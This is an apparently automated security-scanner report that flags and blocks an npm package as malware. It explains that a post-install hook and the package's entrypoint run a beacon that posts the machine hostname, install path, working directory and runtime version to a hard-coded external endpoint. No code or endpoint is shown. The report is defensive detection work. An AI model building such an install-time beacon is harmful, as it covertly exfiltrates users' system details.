AI Security Review
scanned 3h ago · by lpm-firewall-aiSource inspection confirms unconsented installation-time disclosure of host and project identifiers to an unrelated hard-coded collector. This supports blocking as malicious data exfiltration.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation, or importing index.js at runtime.
Impact
The endpoint receives the machine hostname, install location, working directory, and npm/runtime version without installer consent.
Mechanism
The beacon builds a metadata payload and sends it in an HTTP POST to a hard-coded endpoint.
Attack narrative
The package's post-install hook runs beacon.cjs, which sends host and project identifying metadata to a hard-coded external HTTP endpoint. The package entrypoint also fires the beacon when imported, extending disclosure to runtime use.
AI rationale
Source inspection confirms unconsented installation-time disclosure of host and project identifiers to an unrelated hard-coded collector. This supports blocking as malicious data exfiltration.

Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs its beacon automatically during installation through a post-install lifecycle hook.
- The beacon sends the machine hostname, install path, working directory, and npm/runtime version to a hard-coded external HTTP endpoint.
- Importing the package entrypoint also fires the beacon.
